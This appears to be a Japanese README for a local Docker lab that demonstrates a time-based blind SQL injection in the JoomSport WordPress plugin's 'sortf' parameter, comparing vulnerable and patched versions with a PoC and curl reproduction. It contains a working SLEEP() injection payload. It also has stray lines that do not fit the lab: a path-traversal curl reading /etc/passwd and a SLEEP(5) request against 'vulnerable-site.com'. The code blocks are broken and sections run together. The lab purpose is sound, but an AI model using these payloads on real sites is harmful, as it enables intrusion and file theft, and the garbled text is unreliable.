このラボは、時間ベースのブラインドSQLインジェクションとして脆弱性を検証します。データベースのダンプ、資格情報の抽出、データの変更、または破壊的なSQL操作は行いません。

このラボは、管理されたローカル研究、ソースレベルの理解、およびポートフォリオのデモンストレーションのみを目的として設計されています。

## Verified Facts

| 主張                                                                           | 証拠                                                                                                                     | このラボで確認する方法                                                  |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| JoomSport 5.7.8未満は、認証されていないSQLインジェクションに対して脆弱であると報告されています。 | 公開されたアドバイザリは、JoomSport `< 5.7.8` / `<= 5.7.7` が影響を受けると特定しています。                                                     | 参考文献セクションを確認し、脆弱なサービスとパッチ適用済みのサービスを比較してください。 |
| JoomSport 5.7.8は修正バージョンです。                                           | 公開されたアドバイザリとソース比較により、5.7.8では順序式を構築する前に`sortf`値を検証することが示されています。 | 両方のバージョンの`class-jsport-playerlist.php`を検査してください。                    |
| 影響を受けるパラメータは`sortf`です。                                              | 脆弱なプレイヤーリストコードは`classJsportRequest::get('sortf')`を読み取ります。                                                    | PoCを実行し、注入された`sortf`リクエストを観察してください。                      |
| 脆弱なコードは、ユーザー入力から動的なSQL順序付け値を構築します。        | 脆弱なバージョンでは、`sortf`を使用して`$options['ordering']`を構築します。                                                  | `sportleague/classes/objects/class-jsport-playerlist.php`を検査してください。         |
| SQLシンクは`ORDER BY`句です。                                           | 生成された`$ordering`値は、後で`ORDER BY`を使ってSQLクエリに追加されます。                                         | `sportleague/base/wordpress/classes/class-jsport-getplayers.php`を検査してください。  |
| パッチは許可リストスタイルの修正を使用しています。                                          | パッチ適用バージョンでは、ソートフィールドを使用する前に、許可された静的カラムと期待される動的フィールドパターンを導入しています。       | JoomSport 5.7.6と5.7.8のソースを比較してください。                                  |
| このラボは時間ベースのブラインドSQLインジェクションを示しています。                            | 脆弱なターゲットは、注入された`SLEEP()`式が使用されると遅延しますが、パッチ適用済みのターゲットは遅延しません。                     | `python3 poc/poc.py http://localhost:8081 http://localhost:8082`を実行してください。      |

## Assumptions and Unknowns

このラボでは、JoomSport 5.7.6を脆弱な比較対象として使用しています。これは、公開された修正バージョンが5.7.8であり、ラボの準備時にWordPress.orgのプラグインSVNタグリストで5.7.7のソースタグが利用できなかったためです。

このラボは、5.7.6が唯一の脆弱なバージョンであると主張するものではありません。これは、脆弱な動作を修正済みの5.7.8の動作と比較するための再現可能な脆弱なベースラインとして使用されています。

このラボは、プレイヤーリストのソートフローにおける`sortf`パラメータに焦点を当てています。

実証された影響は時間ベースのブラインドSQLインジェクションです。このラボでは以下を実証しません：

* 直接的なデータベースダンプ,
* 資格情報の抽出,
* 認証バイパス,
* 特権昇格,
* 任意のデータ変更,
* リモートコード実行,
* 永続化,
* 外部コールバック,
* またはラボ外のシステムに対する攻撃。

エラーベースまたはブーリアンベースの動作は、データベースの動作、アプリケーション構成、および応答の違いによって可能かもしれませんが、このラボはそれらの手法に依存していません。主要な証明はタイミングベースです。

## Root Cause Summary

根本原因は、`sortf`リクエストパラメータからの動的SQL `ORDER BY`句の安全でない構築です。

脆弱なコードパスは次の場所から始まります：```text
sportleague/classes/objects/class-jsport-playerlist.php

そして、それを使用して構築します:```text
$options['ordering']

問題は主に `sortd` パラメータではありません。`sortd` の値は次のように制限されています：```text
ASC
DESC

コードは、攻撃者制御の入力をMySQL識別子コンテキスト内に配置し、それをSQL順序付けフラグメントとして前方に渡します。

コードは以下を適用する：```php
sanitize_text_field()

シンクパターンは:```php
$query .= ' ORDER BY '.($ordering);

セキュリティ上の問題は、アプリケーションがユーザー制御のリクエストパラメータを、厳格な許可リストに対して事前に検証することなく、SQL識別子/式として扱っていることです。

## ソースパッチの概要

該当するパッチは次の場所にあります：```text
sportleague/classes/objects/class-jsport-playerlist.php

脆弱な部分は、`classJsportRequest::get('sortf')` がSQLの並び替え式の中で使用されていることです。

JoomSport 5.7.8では、`$options['ordering']` を構築する前に検証済みのソートフィールド変数を導入することで、この動作を変更しています。

パッチ版では、安全なデフォルト値を初期化します：```php
$sortFieldEsc = 'post_title';

`sortf` が存在する場合、パッチコードはそれが期待される静的値のいずれかに一致する場合のみ受け入れます：```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
    $sortFieldEsc = classJsportRequest::get('sortf');
}

最後のセキュリティ関連の変更は、`$options['ordering']` が未加工の `sortf` リクエスト値の代わりに `$sortFieldEsc` から構築されることです:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;

パッチ適用後:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern

パッチ適用後のコードでは、その値は `$sortFieldEsc` に代入されません。

代わりに、ソートフィールドは以下にフォールバックします:```text
post_title

## ラボアーキテクチャ

このラボは、Docker Composeを使用して2つの独立したWordPressインストールを実行します。```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── scripts/
│   └── init-wordpress.sh
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

セットアッププロセスは、プレイヤーリストルートをレンダリングするために必要な最小限のJoomSportデータを作成します:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows

## クイックスタート

ラボを起動します:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

期待されるセットアップ完了メッセージ:```text
[VULN] setup complete
[PATCHED] setup complete

期待される公開サービス:```text
http://localhost:8081
http://localhost:8082

PoCをパッチ適用済みターゲットに対して実行する:```bash
python3 poc/poc.py http://localhost:8082

より安定したタイミング統計を得るには、ラウンド数を増やしてください:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

## PoC の使用法

PoCは各ターゲットを独立してチェックします。

これには個別の `--vuln-url` または `--patched-url` オプションは不要になりました。代わりに、1つ以上のターゲットURLを位置引数として渡します。```bash
python3 poc/poc.py <target_url> [target_url...]

ターゲットURLが指定されていない場合、スクリプトは1つ以上のローカルターゲットURLを対話的に入力するよう促します。

サポートされているオプション:```text
--season-id   Seeded JoomSport season post ID. Default: 4
--rounds      Number of requests per baseline/injected series. Default: 3
--sleep       SLEEP() seconds used in the timing payload. Default: 2

PoCはデフォルトでローカル以外のターゲットを拒否します。

## PoCの判断方法

各ターゲットに対して、PoCは2つのタイミング系列を実行します。```text
[1/2] Baseline timing
[2/2] Injected timing

注入されたリクエストは、`sortf`パラメータにローカルのみのタイミングペイロードを使用しています：```text
sortf=post_title`DESC,(SLEEP(2))#

次に、ターゲットを分類します:

| 判定           | 意味                                                     |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | 注入されたリクエストはベースラインよりも著しく遅い。 |
| `PATCHED-LIKE`    | 注入されたリクエストはベースライン近くに留まる。 |
| `UNREACHABLE`     | ターゲットに到達できなかった。 |
| `INCONCLUSIVE`    | 一部のタイミングデータが欠落しているか不完全である。 |

デフォルトの判定ルール:```text
injected median - baseline median >= 60% of requested SLEEP()

これは、注入されたリクエストが自身のベースラインよりも明確に遅い場合にのみ、ターゲットが `VULNERABLE-LIKE` として報告されることを意味します。

到達不能または結論が出せないターゲットは、パッチ適用済みとしてカウントされません。

## curlを使用した手動HTTP再現

Python PoCを使用せずに、手動で検証を再現できます。

脆弱なベースラインリクエスト:

````bash
curl -sk -m 3 'https://<target>/index.php?view=../../../etc/passwd'
```````bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

パッチ適用済みベースラインリクエスト:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

期待される比較:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched    -> injected request stays near baseline timing

予想される脆弱なシグナル:```text
CVE-2026-42647 JoomSport local timing validation
Scope     : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic     : baseline timing vs injected timing per target

Targets           : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta

================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#

[1/2] Baseline timing
  run 01: status=200 time=0.092s bytes=75333
  run 02: status=200 time=0.044s bytes=75333
  run 03: status=200 time=0.046s bytes=75333
  summary   median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
  summary   status=200x3 bytes=75333

[2/2] Injected timing
  run 01: status=200 time=6.050s bytes=75321
  run 02: status=200 time=6.058s bytes=75321
  run 03: status=200 time=6.095s bytes=75321
  summary   median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
  summary   status=200x3 bytes=75321

Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta           : 6.011s
Ratio           : 130.8x
Threshold       : 1.200s
Verdict         : VULNERABLE-LIKE

Interpretation  : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.

### パッチ適用済みターゲット

コマンド:```bash
python3 poc/poc.py http://localhost:8082

### 複数のターゲット

コマンド:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082

### 到達不能なターゲット

ターゲットが動作していない場合、PoCは`UNREACHABLE`を報告すべきであり、`PATCHED-LIKE`ではありません。

例:```bash
python3 poc/poc.py http://localhost:8083

到達不能なターゲットはパッチ適用済みとしてカウントされません。

## How the PoC Works

PoCは、シードされたシーズンポストに対してJoomSportのプレイヤーリストルートをプローブします。

対象ルートは以下と同等です:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC

これにより、通常のプレイヤーリストの並べ替えが生成されるはずです。

注入されたリクエストは以下を使用します:```text
sortf=post_title`DESC,(SLEEP(2))#

`#` コメントマーカーは、末尾のバッククォートと方向がインジェクトされた式に干渉するのを防ぎます。

これはスタックされたクエリペイロードではありません。インジェクトしません：```sql
; SELECT SLEEP(2);

GET /index.php?option=com_joomsport&view=playerlist&sortf=1%20AND%20(SELECT%205017%20FROM%20(SELECT(SLEEP(5)))a) HTTP/1.1
Host: vulnerable-site.com
``````text
GET /?post_type=joomsport_season&p=<id>&action=playerlist&sortf=<unexpected_value>&sortd=ASC

ローカルラボリクエストの例:```text
sortf=post_title`DESC,(SLEEP(2))#

期待されるパッチ適用済み信号：```text
HTTP 200 response without significant timing delay

docker ps
``````bash
docker compose ps

WordPressサービスを確認:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082

パッチ適用済みのサービスに対してPoCを実行してください：```bash
python3 poc/poc.py http://localhost:8082

PoC をさらに多くのラウンドで実行する:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

WordPress内のプラグインバージョンを確認する:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html

パッチ適用済みソースを検査する:```bash
docker compose exec -T patched sh -lc \
  "grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

## クリーンアップ

コンテナとネットワークを停止して削除します:```bash
docker compose down --remove-orphans

作成された証拠ファイルを削除する:```bash
rm -rf evidence/

The PoC does not include payloads for database dumping, credential theft, data modification, persistence, lateral movement, or external callbacks.

The goal is to demonstrate one specific technical condition in a controlled environment:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version